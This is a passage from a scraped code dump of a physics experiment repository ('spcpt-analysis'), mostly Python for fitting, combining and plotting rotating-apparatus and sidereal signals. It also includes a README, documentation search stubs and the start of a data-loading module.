gdI=~isnan(sfg)\r\n fFG=lambda t, f, a1, a2, offs: a1*sin(2*pi*f*t) + a2*cos(2*pi*f*t) + offs\r\n fpFG, err=curve_fit(fFG, tfg[gdI], sfg[gdI],p0=p0)\r\n fgFitL.append(fpFG)\r\n\r\n #figure()\r\n #plot(tfg,sfg)\r\n #plot(tfg, fFG(tfg, *fpFG))\r\n #figure()\r\n #plot(tfg, MT.smooth(sfg-fFG(tfg, *fpFG), 10))\r\n\r\n\r\n th0=arctan2(fpFG[1], fpFG[2]) # The angle where the fluxgate shows a minimum deviationF\r\n phaseL.append(th0)\r\n\r\n thfg=2*pi*fpFG[0]*tfg-th0%(2*pi)-2*pi\r\n #thfg=2*pi*(fpFG[0]-0.005)*tfg-th0%(2*pi)-2*pi\r\n th=interp(t, tfg,thfg)\r\n\r\n f4=lambda th, a1x, a1y, a2x, a2y, a3x,a3y, p1, p2, p3, p4, p5, offs: a1x*sin(th) + a1y*cos(th) + a2x*sin(2*th) + a2y*cos(2*th)+ a3x*sin(3*th) + a3y*cos(3*th)+ p1*th +p2*th**2 + p3*th**3 + p4*th**4 + p5*th**5 + offs\r\n\r\n p0=[0.1, 0.1, 1e-5, 1e-7, 1e-9, 0.08]\r\n\r\n sampleRate=1./median(diff(t))\r\n #print(\"Sample rate is {}\".format(sampleRate))\r\n Nds=round(sampleRate)\r\n\r\n p0=[0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 1e-5, 1e-7, 1e-9, 1e-9, 1e-9, 0.08]\r\n th_ds, s_ds=MT.downsample_npts(th,Nds), MT.downsample_npts(s, Nds)\r\n if th_ds.size <= len(p0) +1:\r\n raise RuntimeError(\"not enough data here\")\r\n fp4, err4=curve_fit(f4, th_ds, s_ds, p0=p0)\r\n\r\n chi2= sum((f4(th, *fp4)-s)**2)/(th.size-len(p0))\r\n #fp, err=curve_fit(f, th,s,p0=p0)\r\n #fp2, err2=curve_fit(f2, th, s,p0=p0)\r\n #figure()\r\n #plot(t,MT.smooth(s,Nds, window='hanning'))\r\n #plot(t, f(th, *fp))\r\n #plot(t, f2(th, *fp2))\r\n #print(\"fp4: {0}\".format(fp4))\r\n fp4L.append(fp4)\r\n chi2L.append(chi2)\r\n #err4L.append(sqrt(diag(err4)))\r\n err4L.append(err4)\r\n tL.append(midT)\r\n thL.append(th)\r\n\r\n except RuntimeError:\r\n print(\"No fit at {}\".format(midT))\r\n\r\n\r\n fp4A=array(fp4L)\r\n fpA=fp4A[:,:2]\r\n fp2A=fp4A[:,2:4]\r\n fp3A=fp4A[:,4:6]\r\n err4A=array(err4L)\r\n errA=err4A[:,:2,:2]\r\n err2A=err4A[:,2:4,2:4]\r\n err3A=err4A[:,4:6,4:6]\r\n\r\n chi2A=array(chi2L)\r\n\r\n\r\n tA=array(tL)\r\n if bPlot:\r\n figure()\r\n errorbar(tA, fpA[:,0], errA[:,0],fmt='.')\r\n errorbar(tA, fpA[:,1], errA[:,1],fmt='.')\r\n title(\"1st harmonic\")\r\n figure()\r\n errorbar(tA, fp2A[:,0], err2A[:,0],fmt='.')\r\n errorbar(tA, fp2A[:,1], err2A[:,1],fmt='.')\r\n title('2nd Harmonic')\r\n\r\n figure()\r\n plot(tA, [p[0] for p in fgFitL])\r\n figure()\r\n plot(tA, [p[1] for p in fgFitL])\r\n plot(tA, [p[2] for p in fgFitL])\r\n figure()\r\n plot(tA, phaseL)\r\n N=tA.size\r\n tSeq=tile(secs2sd(tA)+tOffs, [2,2,1]).T\r\n sigSeq=hstack( [fpA[:,newaxis, :2], fp2A[:,newaxis,:2], fp3A[:,newaxis,:2]] )\r\n errSeq=hstack( [errA[:,newaxis, :2], err2A[:,newaxis,:2], err3A[:, newaxis,:2]] )\r\n #chi2Seq=hstack( [chi2_1A[:,newaxis], chi2_2A[:,newaxis]] )\r\n chi2Seq=hstack( [chi2A[:,newaxis], chi2A[:,newaxis], chi2A[:,newaxis]] )\r\n chi2Seq=dstack([chi2Seq, chi2Seq])\r\n sgn=-1 if rotationRate<0 else 1\r\n thetaSeq1=vstack( [zeros(N), zeros(N), zeros(N)])\r\n #thetaSeq2=vstack( [sgn*ones(N)*pi/2, sgn*ones(N)*pi/4, sgn*ones(N)*pi/6] )\r\n thetaSeq2=vstack( [sgn*ones(N)*pi/2, sgn*ones(N)*pi/2, sgn*ones(N)*pi/2] )\r\n #thetaSeq1=vstack( [zeros(N), ones(N)*pi/2])\r\n #thetaSeq2=vstack( [zeros(N), ones(N)*pi/4])\r\n\r\n #thetaSeq2=vstack( [ones(N)*pi/2, ones(N)*pi/4])\r\n thetaSeq=dstack([thetaSeq1.T, thetaSeq2.T])\r\n seqAmp=CorrelationData(\r\n t=tSeq.copy(),\r\n sig=sigSeq.copy(),\r\n err=errSeq.copy(),\r\n chi2=chi2Seq.copy(),\r\n theta=thetaSeq.copy() + th0FGz, #th0FGz is the orientation of the FGz correlation\r\n )\r\n return seqAmp\r\n\r\n\r\ndef split_and_process_sequences(seqAmp):\r\n seqT, seqSig, seqErr, seqChi2, labAngle=seqAmp\r\n def seqFiltAngle(seqAmp, th):\r\n mask=nearby_angles(seqAmp.theta[:,0,0], th, 0.1)\r\n return CorrelationData(*[s[mask] for s in seqAmp])\r\n seqAmp1=CorrelationData(seqAmp.t, *[d[:,0,0].squeeze() for d in seqAmp[1:]])\r\n seqAmp2=CorrelationData(seqAmp.t, *[d[:,0,1].squeeze() for d in seqAmp[1:]])\r\n\r\n\r\n\r\n thetaRef, xI, yI=group_by_axis(seqAmp1.theta) \r\n \r\n seqAmp1_0=CorrelationData(*[d[xI] for d in seqAmp1])\r\n seqAmp1_90=CorrelationData(*[d[yI] for d in seqAmp1])\r\n\r\n #seqAmp1_0=seqAmp1_0._replace(theta= seqAmp1_0.theta*sin(seqAmp1.theta[xI]-thetaRef))\r\n #seqAmp1_90=seqAmp1_90._replace(theta=seqAmp1_90.theta*cos(seqAmp1.theta[yI]-thetaRef))\r\n\r\n #seqSig1_0=seqSig1[xI]*sin(labAngle1[xI]-thetaRef)\r\n #seqErr1_0=seqErr1[xI]\r\n #seqSig1_90=seqSig1[yI]*cos(labAngle1[yI]-thetaRef)\r\n #seqErr1_90=seqErr1[yI]\r\n #seqT_0=seqT[xI]\r\n #seqT_90=seqT[yI]\r\n\r\n #seqAmp_0=CorrelationData([d[xI] for d in \r\n #seqAmp_0CorrelationData(t=seqT_0, sig=seqSig1_0, err=seqErr1_0, chi2=seqChi21[xI], labTheta=labAngle1[xI], None)\r\n\r\n seqAmpL=(seqAmp1_0, seqAmp1_90, seqAmp1)\r\n ampL=[ process_sequences(sAmp) for sAmp in seqAmpL ]\r\n\r\n #labAmp1_0, sidAmp1_0=process_sequences(seqAmp1_0)\r\n #labAmp1_90, sidAmp1_90=process_sequences(seqAmp1_90)\r\n #labAmp, sidAmp=process_sequences(seqAmp1)\r\n #labAmp0, sidAmp0=process_sequences(seqT_0, seqSig1_0, seqErr1_0, thetaRef)\r\n #labAmp90, sidAmp90=process_sequences(seqT_90, seqSig1_90, seqErr1_90, thetaRef+pi/2)\r\n #labAmp, sidAmp=process_sequences(seqT, seqSig1, seqErr1, labAngle1)\r\n\r\n #labAmpAlt= [labAmp0, labAmp90]\r\n #NS, EW=average([sidAmp0[1], sidAmp90[1][::-1]], axis=0, weights=[sidAmp[2]**2, sidAmp90[2][::-1]])\r\n #NS_err, EW_err = sqrt(sidAmp0[2]**2 + sidAmp90[2][::-1]**2)/2.\r\n #sidAmpAlt=[ (NS, EW), (NS_err, EW_err)] \r\n \r\n return zip(*ampL) + [seqAmpL] # --> (labAmps, sidAmps, seqAmps)\r\n #return [ (labAmp, labAmpAlt), (sidAmp, sidAmpAlt)]\r\n\r\ndef view_raw(rawAmp0, cutAmpL, trigTimes, cutAmpLNames=None, figName=None):\r\n if figName is not None:\r\n figDontReplace(figName + ' -raw')\r\n else:\r\n figDontReplace()\r\n gs=GridSpec(2,3)\r\n ax1=subplot(gs[0,:])\r\n ax2=subplot(gs[1,0])\r\n ax3=subplot(gs[1,1])\r\n ax4=subplot(gs[1,2])\r\n\r\n ax1.plot(rawAmp0.t, rawAmp0.sig)\r\n for cutAmp, name in zip(cutAmpL, cutAmpLNames):\r\n ax1.plot(cutAmp.t.ravel(), cutAmp.sig.ravel(), label=name, markersize=5)\r\n\r\n #ax1.vlines(trigTimes, rawAmp0.sig.min(), rawAmp0.sig.max(), linestyles='dotted')\r\n ax1.set_title('raw signal')\r\n ax1.set_xlabel('sd')\r\n ax1.legend()\r\n #cutAmp.sigF=fft(cutAmp.sig- nanmean(cutAmp.sig, axis=-1)[:,:,newaxis])\r\n cutAmpSigF, fax=MF.rPSD(cutAmp.sig- nanmean(cutAmp.sig, axis=-1)[:,:,newaxis], t=cutAmp.t[0][0])\r\n ax2.plot(fax/3600/24, nanmean(nanmean(abs(cutAmpSigF), axis=0), axis=0))\r\n ax2.set_title('PSD')\r\n ax2.set_xlabel('Hz')\r\n\r\n if 0:\r\n ax3.hist(nonnan(nanstd(cutAmp.sig, axis=-1).ravel()), bins=30)\r\n ax3.set_title('std')\r\n\r\n ttemp=cutAmp.t[0][0]\r\n slopes=[polyfit(ttemp, y, 1)[0] for y in cutAmp.sig.reshape(-1, cutAmp.sig.shape[-1]) if not all(isnan(y))]\r\n ax4.hist(nonnan(slopes), bins=30)\r\n ax4.set_title('slopes')\r\n\r\ndef view_correlation_filtering(pointAmpInit, correlationAmpInit, pointAmpFilt, correlationAmpFilt, figName=None, sharexAx=None):\r\n if figName is None:\r\n figDontReplace()\r\n else:\r\n figDontReplace(figName+' -Corr diff')\r\n gs=GridSpec(3,1)\r\n\r\n pointAxs=MT.plot_errorbar_and_hist(pointAmpInit.t.ravel(), pointAmpInit.sig.ravel(), pointAmpInit.err.ravel(), subplotSpec=gs[0], sharexs=[sharexAx,None])\r\n pointAxs=MT.plot_errorbar_and_hist(pointAmpFilt.t.ravel(), pointAmpFilt.sig.ravel(), \r\n pointAmpFilt.err.ravel(), *pointAxs\r\n )\r\n\r\n thetaRef, xI, yI=group_by_axis(correlationAmpInit.theta[:,0,:].ravel()) \r\n corAxs=MT.plot_errorbar_and_hist(correlationAmpInit.t.ravel()[xI], \r\n correlationAmpInit.sig.ravel()[xI]*sin(correlationAmpInit.theta.ravel()[xI]),\r\n correlationAmpInit.err.ravel()[xI], subplotSpec=gs[1], sharexs=[pointAxs[0], None]\r\n )\r\n MT.plot_errorbar_and_hist(correlationAmpInit.t.ravel()[yI], correlationAmpInit.sig.ravel()[yI]*cos(correlationAmpInit.theta.ravel()[yI]), correlationAmpInit.err.ravel()[yI], *corAxs)\r\n\r\n thetaRef, xI, yI=group_by_axis(correlationAmpFilt.theta[:,0,:].ravel()) \r\n corAxs=MT.plot_errorbar_and_hist(correlationAmpFilt.t.ravel()[xI], \r\n correlationAmpFilt.sig.ravel()[xI]*sin(correlationAmpFilt.theta.ravel()[xI]),\r\n correlationAmpFilt.err.ravel()[xI], *corAxs\r\n )\r\n MT.plot_errorbar_and_hist(correlationAmpFilt.t.ravel()[yI], correlationAmpFilt.sig.ravel()[yI]*cos(correlationAmpFilt.theta.ravel()[yI]), correlationAmpFilt.err.ravel()[yI], *corAxs)\r\n\r\n chi2Axs=MT.plot_scatter_and_hist(correlationAmpInit.t.ravel(), correlationAmpInit.chi2.ravel(), subplotSpec=gs[2], sharexs=[pointAxs[0],None], scatD={'c':'b'})\r\n chi2Axs=MT.plot_scatter_and_hist(correlationAmpFilt.t.ravel(), correlationAmpFilt.chi2.ravel(), *chi2Axs, scatD={'c':'g'})\r\n\r\ndef view_correlations(pointAmp, correlationAmp, figName=None, sharexAx=None, correlationSigComp=None ):\r\n if figName is None:\r\n figDontReplace()\r\n else:\r\n figDontReplace(figName+' -Corr')\r\n gs=GridSpec(3,1)\r\n gs=GridSpec(5,1)\r\n\r\n if correlationSigComp is not None and 1:\r\n #refNonNanM=~isnan(correlationSigComp)\r\n\r\n diffI=where( (correlationSigComp[:,0].ravel()!=correlationAmp.sig[:,0].ravel()) & (~isnan(correlationSigComp[:,0].ravel())))[0]\r\n #diffMask=correlationSigComp[refNonNanM]!=correlationAmp.sig[refNonNanM]\r\n\r\n #diffI=arange(correlationSigComp.size)[refNonNanM][diffMask.ravel()]\r\n #diffAmp[diffAmp==0]=nan\r\n #diffMask=~isnan(diffAmp.ravel())\r\n #pdb.set_trace()\r\n \r\n pointAxs=MT.plot_errorbar_and_hist(pointAmp.t.ravel(), pointAmp.sig.ravel(), pointAmp.err.ravel(), subplotSpec=gs[0], sharexs=[sharexAx,None])\r\n\r\n correlationAmp=rotate_sequence_amps(correlationAmp)\r\n thetaRef, xI, yI=group_by_axis(correlationAmp.theta[:,0,:].ravel()) \r\n err1h=sqrt(vstack([correlationAmp.err[:,0,0,0],correlationAmp.err[:,0,1,1]]).T)\r\n\r\n corAxs=MT.plot_errorbar_and_hist(correlationAmp.t[:,0].ravel()[xI], \r\n correlationAmp.sig[:,0].ravel()[xI]*cos(correlationAmp.theta[:,0].ravel()[xI]), \r\n err1h.ravel()[xI], \r\n subplotSpec=gs[1], sharexs=[pointAxs[0], None])\r\n MT.plot_errorbar_and_hist(correlationAmp.t[:,0].ravel()[yI], correlationAmp.sig[:,0].ravel()[yI]*sin(correlationAmp.theta[:,0].ravel()[yI]), err1h.ravel()[yI], *corAxs)\r\n\r\n #pdb.set_trace()\r\n if correlationSigComp is not None:\r\n #corAxs[0].plot(correlationAmp.t.ravel()[diffMask==xI], diffAmp.ravel()[diffMask==xI], 'rx')\r\n xdI=intersect1d(xI, diffI)\r\n ydI=intersect1d(yI, diffI)\r\n if xdI.size:\r\n corAxs[0].plot(correlationAmp.t[:,0].ravel()[xdI], correlationSigComp[:,0].ravel()[xdI]*cos(correlationAmp.theta[:,0].ravel()[xdI]), 'rx')\r\n #corAxs[0].plot(correlationAmp.t.ravel()[diffMask==yI], diffAmp.ravel()[diffMask==yI], 'yx')\r\n if ydI.size:\r\n corAxs[0].plot(correlationAmp.t[:,0].ravel()[ydI], correlationSigComp[:,0].ravel()[ydI]*sin(correlationAmp.theta[:,0].ravel()[ydI]), 'yx')\r\n\r\n\r\n ax=subplot(gs[2])\r\n #ax.plot(correlationAmp.t[:,0].ravel()[yI], correlationAmp.chi2[:,0].ravel()[yI],'o')\r\n #ax.plot(correlationAmp.t[:,0].ravel()[xI], correlationAmp.chi2[:,0].ravel()[xI],'o')\r\n chi21hAxs=MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel()[xI], correlationAmp.chi2[:,0].ravel()[xI], subplotSpec=gs[2])\r\n MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel()[yI], correlationAmp.chi2[:,0].ravel()[yI], *chi21hAxs)\r\n if correlationAmp.t.shape[1]>1: #2H\r\n err2h=sqrt(vstack([correlationAmp.err[:,1,0,0],correlationAmp.err[:,1,1,1]]).T)\r\n thetaRef, xI2, yI2=group_by_axis(2*correlationAmp.theta[:,1,:].ravel()) \r\n cor2hAxs=MT.plot_errorbar_and_hist(correlationAmp.t[:,1].ravel()[xI2], correlationAmp.sig[:,1].ravel()[xI2]*cos(2*correlationAmp.theta[:,1].ravel()[xI2]), err2h.ravel()[xI2], subplotSpec=gs[3], sharexs=[pointAxs[0], None])\r\n\r\n MT.plot_errorbar_and_hist(correlationAmp.t[:,1].ravel()[yI2], correlationAmp.sig[:,1].ravel()[yI2]*sin(2*correlationAmp.theta[:,1].ravel()[yI2]), err2h.ravel()[yI2], *cor2hAxs)\r\n subplot(gs[4]).plot(correlationAmp.t[:,1].ravel(), correlationAmp.chi2[:,1].ravel(),'o')\r\n\r\n #chi2Axs=MT.plot_scatter_and_hist(correlationAmp.t[:,0].ravel(), correlationAmp.chi2[:,0].ravel(), subplotSpec=gs[2], sharexs=[pointAxs[0],None])\r\n\r\n if not MT.nearby_angles(thetaRef, 0, 0.1):\r\n corAxs[0].set_title('Reference angle: {0}'.format(thetaRef/pi*180))\r\n #tight_layout()\r\n \r\ndef view_sidereal(seqTup, sidFitTup, labFrameTup=None):\r\n \"\"\"Not functional anymore\r\n \"\"\"\r\n figure()\r\n fx=lambda th, ax: ax*sin(th)\r\n fy=lambda th, ay: ay*cos(th)\r\n f=lambda th, ax, ay: ax*sin(th) + ay*cos(th)\r\n\r\n gs=GridSpec(2,1)\r\n sigAxs=MT.plot_errorbar_and_hist(seqTup.t.ravel(), seqTup.sig.ravel(), seqTup.err.ravel(), subplotSpec=gs[0])\r\n if seqTup.chi2 is not None:\r\n chiAxs=MT.plot_scatter_and_hist(seqTup.t, seqTup.chi2, gs[1])\r\n chiAxs[0].set_title(r'$\\chi^2$')\r\n\r\n\r\n sigRot=MT.rotMat2d(-sidFitTup.labTheta[0]).dot(sidFitTup.sig)\r\n errRot=abs(MT.rotMat2d(-sidFitTup.labTheta[0]).dot(sidFitTup.err)) #This is very fragile- should do full covariance in here.\r\n sigAxs[0].plot(seqTup.t, f(2*pi*seqTup.t + 0*sidFitTup.labTheta[0], *sidFitTup.sig),\r\n label=\"$X$:{:.3} $\\pm$ {:.3}, $Y$:{:.3} $\\pm$ {:.3}\".format(\r\n sigRot[0,0], errRot[0,0], sigRot[0,1], errRot[0,1])\r\n )\r\n sigAxs[0].legend()\r\n sigAxs[0].set_title('Sidereal Signal (lab: $S_{0:.3}={1:.3} \\pm {2:.3}$, $S_{3:.3}= {4:.3} \\pm {5:.3}$'.format(\r\n labFrameTup.labTheta[0]/pi*180, labFrameTup.sig[0], labFrameTup.err[0], \r\n labFrameTup.labTheta[1]/pi*180, labFrameTup.sig[1], labFrameTup.err[1] ))\r\n \r\n #Could also do another here if we're fitting both\r\n #bothAx1.legend()\r\n\r\n if 0:\r\n for T, A, LV in ([seqT_0, seqSig1_0, sidAmp0], [seqT_90, seqSig1_90, sidAmp90]):\r\n if len(A)>3:\r\n axLV.plot(T, f(2*pi*T+ LV[0][0] -0*thetaRef, *LV[1] ), label=\"$_X$:{:.3} $\\pm$ {:.3}, $_Y$:{:.3} $\\pm$ {:.3}\".format(LV[1][0], sqrt(LV[2][0]), LV[1][1], sqrt(LV[2][1])))\r\n else:\r\n vprint(\"Need at least 3 sequence points\")\r\n axLV.text( 0.5, 0.05, r'$\\theta_0 = {:.3}$'.format(thetaRef/pi*180), bbox=dict(facecolor='grey', alpha=0.1), transform=axLV.transAxes, fontsize=16)\r\n axLV.legend(loc=0)\r\n\r\ndef combine_angle_amps(ampL, plot=False):\r\n\r\n ampL=[amp for amp in ampL if amp is not None]\r\n ts = [ sAmp.t for sAmp in ampL]\r\n if ampL:\r\n #Might not rotate in this case, but just in case\r\n (ths, ys, covs)= zip(*[ MT.rotate_quadrature_sample(sAmp.labTheta, sAmp.sig, sAmp.err) for sAmp in ampL if sAmp is not None])\r\n ys=array(ys)\r\n if covs[0].ndim>1:\r\n errs=array([sqrt(cov.diagonal()) for cov in covs]) #cheat and throw away off-diagonals\r\n else:\r\n errs=array(covs)\r\n\r\n\r\n ts=array(ts)\r\n if ts.ndim < ys.ndim:\r\n ts=tile(ts[:,newaxis],2)\r\n mn, wEr, apparentUnc, chi2= MT.weightedStats(ys, 1./(errs**2), axis=0, bReturnChi2=True)\r\n varSclFact=where( (chi2>1.) & (~isinf(chi2)), chi2, 1.)\r\n #calcedUnc=sqrt(nansum(errs**2,axis=0)/sum(~isnan(errs))**2)\r\n calcedUnc=1/sqrt(nansum(1/errs**2,axis=0))\r\n combAmp=SiderealFitData(mean(ts), mn, diag(calcedUnc**2*varSclFact), chi2, [0,pi/2], [0,pi/2], None) \r\n else:\r\n ts=ys=errs=array([])\r\n combAmp=None #SiderealFitData(*(7*[None]))\r\n if plot:\r\n if isinstance(plot, Axes):\r\n axL=[plot, plot]\r\n elif hasattr(plot, \"__getitem__\"):\r\n axL=plot #assume it's a list with two axes\r\n else:\r\n figure()\r\n axL=[gca(), gca()]\r\n\r\n for t, y, e, ax in zip(ts.T, ys.T, errs.T, axL):\r\n ax.errorbar( t, y, e, fmt='.') \r\n axL[0].set_title('x')\r\n axL[1].set_title('y')\r\n\r\n #gdInd=~(isnan(ys) | isinf(ys) | isinf(errs))\r\n #ys=ys[gdInd]\r\n #errs=errs[gdInd]\r\n #if sum(~isnan(errs)) <1:\r\n #return None\r\n #sm.WLS(\r\n \r\n return combAmp\r\n #return mn, calcedUnc, apparentUnc, wEr, chi2\r\n\r\ndef spSearchSet(timestamp, rSpec, sigWindow, bgWindow, startTime=-inf, endTime=inf, bPlotAll=True ): \r\n '''\r\n Todos:\r\n - Filter out sequence points by chi squared, error bar, or even deviation from the mean\r\n - Low pass filter first, then look at slope or remaining RMS for weighting value\r\n - Histogram the string points and try to find any common signature to the outliers\r\n - Do a multiple regression for the correlation data vs the signal data\r\n - Output extra details like 'cosmic' angle, and mean signal in the lab-frame.\r\n '''\r\n ####################LOAD DATA##########################\r\n if hasattr(timestamp, 'fastD'): #If we've actually been handed a dataset, not a timestamp\r\n D=timestamp\r\n else: #Load one\r\n D=SPDataSet(timestamp, startTime=startTime, endTime=endTime)\r\n\r\n ###################CUT AND PROCESS INTO POINTS###################\r\n rawAmp0=RawData(t=D.fastD[0], sig=D.fastD[1])\r\n trigTimes=makeTriggers(D.fastD[0], rSpec, bIncludeExtraRot=True);\r\n cutAmp=preprocess_raw(rawAmp0, trigTimes, sigWindow)\r\n pointAmp=process_raw(cutAmp)\r\n if bPlotAll:\r\n view_raw(rawAmp0, cutAmp, trigTimes)\r\n\r\n #################### FILTER OUT BAD POINTS#######################\r\n if 0:\r\n filterSensorNameL= ['Tilt Sensor 1'],\r\n rawSig, badM= filterBySensors(cutAmp,\r\n sensDataL=getSensors(D, filterSensorNameL),\r\n bView= bPlotAll)\r\n \r\n ##################PROCESS BY SEQUENCE (CORRELATION)####################\r\n seqAmp=process_points(D.apparatusAngles, pointAmp, cutAmp )\r\n #view_correlations(seqAmp)\r\n\r\n ################PROCESS ALL SEQUENCES, I.E. WHOLE SET####################\r\n ## Divide the sequences into groups (e.g. EW and NS) and process them, returning also the lab-fram numbers\r\n labAmps, sidAmps, seqAmps= split_and_process_sequences(seqAmp)\r\n\r\n view_sidereal(seqAmps[0], sidAmps[0] )\r\n view_sidereal(seqAmps[1], sidAmps[1] )\r\n view_sidereal(seqAmps[2], sidAmps[2] )\r\n\r\n\r\n return labAmps, sidAmps#, sidAmpAlt\r\n\r\nif __name__==\"__main__\":\r\n from pylab import *\r\n from scipy import random\r\n\r\n\r\n if 0:\r\n # Check string analysis:\r\n N=10000\r\n t=linspace(0,10,N)\r\n dat=(arange(N)%2 -0.5)*1\r\n dat+=random.normal(0, size=N)\r\n\r\n plot(t,dat)\r\n vprint(stringAnalysis(t, dat, ones(N)*0.5))\r\n \r\n if 0: #Check MakeTestData\r\n bTest=True\r\n dat=MakeTestData(RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[180], extraRotAngle=90), amp=1, sigma=0.01, zeroingTime=500)\r\n\r\n if 0:\r\n D=loadSet('5348.82', startTime=5348.86)\r\n nameL=['Tilt Sensor 1']\r\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=30, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\r\n [ts1]=getSensors(D, nameL)\r\n #out=sliceReduceData( ts1[0], ts1[1], \r\n #trigTimes + secs2sd(sigWindow.offset), secs2sd(sigWindow.duration) )\r\n window=Window(offset=-5.0, duration=4)\r\n trigTimes=makeTriggers(ts1[0], rSpec, bIncludeExtraRot=True);\r\n ts1Ts, [_, ts1CutSig, ts1CutErr], ts1CutIndxL = sliceReduceData( ts1[0], ts1[1], trigTimes + secs2sd(window.offset), secs2sd(window.duration) ) \r\n #M=nanmean(ts1CutSig.ravel())\r\n badM, ts1SM=MT.findOutliers(ts1CutSig.ravel(), windowLen=50, sigmas=3, bReturnMeanLine=True)\r\n figure()\r\n #as\r\n plot(ts1Ts.ravel(), ts1CutSig.ravel(),'.')\r\n plot(ts1Ts.ravel()[badM], ts1CutSig.ravel()[badM],'.')\r\n plot(ts1Ts.ravel(), ts1SM, lw=2)\r\n if 0: #Check analysis\r\n timestamps=[\r\n '5227.40',\r\n #'5310.41',\r\n #'5318.41',\r\n #'5348.86',\r\n ]\r\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\r\n res=spSearchSet(\r\n MakeTestData(rSpec, amp=10.05, sigma=2, N=800000, phi=-0.15*pi, zeroingTime=30, fracDev=0.00, sizeDev=50.0),\r\n rSpec,\r\n Window(offset=-3, duration=2), Window(offset=-1,duration=1),\r\n bPlotAll=True,\r\n )\r\n if 0:\r\n from SPDataSet import SPDataSet\r\n rSpec=RotationSpec(startingAngle=0, delay=9, interval=10, numRotations=20, rotAngles=[-180], extraRotAngle=-90)\r\n sd,sig=makeTestData(\r\n rSpec, amp=10.05, sigma=2, N=800000, phi=-0.15*pi, zeroingTime=30, fracDev=0.00, sizeDev=50.0)\r\n ds=SPDataSet('test', preloadDict={'fastD': [sd, sig, 'sig']}, rSpec=rSpec )\r\n"},{"alpha_fraction":0.59375,"alphanum_fraction":0.625,"avg_line_length":23,"blob_id":"99c870f8e2fc12716fadaa931f6bae7d76a88554","content_id":"e9b118572573767a4e563f9f2021bdf5d338270f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":96,"license_type":"no_license","max_line_length":74,"num_lines":4,"path":"/html/search/files_3.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var searchData=\n[\n ['loadspfiles_2epy',['loadSPFiles.py',['../loadSPFiles_8py.html',1,'']]]\n];\n"},{"alpha_fraction":0.797468364238739,"alphanum_fraction":0.797468364238739,"avg_line_length":25.33333396911621,"blob_id":"2dad3751b53ca52b9e95d36e52e49c28ed13565f","content_id":"35fbc695a001cb123f4a7e594531d46fe59d4729","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":79,"license_type":"no_license","max_line_length":36,"num_lines":3,"path":"/README.md","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"# spcpt-analysis\nanalysis stuff for spcpt\nAnd practising git-hubby workflow...\n"},{"alpha_fraction":0.6629213690757751,"alphanum_fraction":0.7528089880943298,"avg_line_length":43.75,"blob_id":"86f26382f00189265dbdddea75517188ae4de816","content_id":"974639895fed73867892e72c2433fff233f86cad","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"JavaScript","length_bytes":178,"license_type":"no_license","max_line_length":123,"num_lines":4,"path":"/html/namespacerepo_1_1programs_1_1pythonpackages.js","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"var namespacerepo_1_1programs_1_1pythonpackages =\n[\n [ \"pr\", \"namespacerepo_1_1programs_1_1pythonpackages_1_1pr.html\", \"namespacerepo_1_1programs_1_1pythonpackages_1_1pr\" ]\n];"},{"alpha_fraction":0.5541343092918396,"alphanum_fraction":0.572864294052124,"avg_line_length":36.3731689453125,"blob_id":"fbc493224826fd944a72930cf3fe7abe0090e96e","content_id":"1117340474039f1936d1ed358dcd2accf4ee5703","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":15323,"license_type":"no_license","max_line_length":210,"num_lines":410,"path":"/loadSPFiles.py","repo_name":"morgatron/spcpt-analysis","src_encoding":"UTF-8","text":"\"\"\"Functions for loading data files from the SP experiment\n\n\"\"\"\nimport numpy as np\nfrom os import path\nimport os\nimport re\nfrom collections import namedtuple\nimport yaml\nimport MT\nimport convert\n\nrelaxedNames=\"\"\"Tot Pos Det\nTot Pos Det 2\nTot Pos Det 3\nCell Temp\nFerrite Temp\nOven Temp\nTemperature Controller Output\nBreadboard Temp\nRoom Temp\nG10 Lid Temp\nTilt Sensor 1\nTilt Sensor 2\nWavelengthErr\nPump Current Mon\nPump Temp Mon\nProbe Current Mon\nProbe Temp Mon\nWater Flow\nApparatus Position\n\"\"\".splitlines()\nmediumNames=\"\"\"Accelerometer\nPosition Purple\nPosition Green\nFluxgate X\nFluxgate Y\nFluxgate Z\nTiltmeter X\nTiltmeter Y\nVert Pos Det\nHoriz Pos Det\nVert Pos Det 2\nHoriz Pos Det 2\nVert Pos Det 3\nHoriz Pos Det 3\n\"\"\".splitlines()\n\ndef getSpinningDataNames(timestamp, bMotorData=False):\n if not bMotorData:\n base_name='SP_aparatus {0}'.format(timestamp)\n else:\n base_name='SP_motor {0}'.format(timestamp)\n base_dir=os.path.join(os.getenv('SP_DATA_DIR'), base_name + ' Bundle/')\n return base_dir, base_name\n\ndef getAllTimeStamps(bApparatus=True, bMotor=False):\n data_dir=os.path.join(os.getenv('SP_DATA_DIR'))\n ap_dir_regex=re.compile('SP_aparatus (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle$')\n mo_dir_regex=re.compile('SP_motor (\\d+(?:\\.\\d*)?|\\.\\d+) Bundle$')\n\n regExL=[]\n if bApparatus:\n regExL.append(ap_dir_regex)\n if bMotor:\n regExL.append(mo_dir_regex)\n outL=[]\n for reg in regExL:\n match_list=[ap_dir_regex.match(line) for line in os.listdir(data_dir)]\n stamps=[m.groups()[0] for m in match_list if m is not None]\n stamps.sort()\n outL.append(stamps)\n if len(outL)==1:\n outL=outL[0]\n return outL\n\n#old\ndef loadSet(timestamp, cal=None, subL=[\"Fast\", \"Medium\", \"Relaxed\"], startTime=-np.inf, endTime=np.inf):\n \"\"\"OLD Load all the data associated with @timestamp\n \"\"\"\n if cal is None:\n print(\"Haven't implemented loading of calibration data yet, Your data will stay in Volts\")\n cal=1\n base_dir, base_name=getSpinningDataNames(timestamp)\n\n def splitRecArray(rA):\n t=rA['sd']\n names=list(rA.dtype.names)\n names.remove('sd')\n 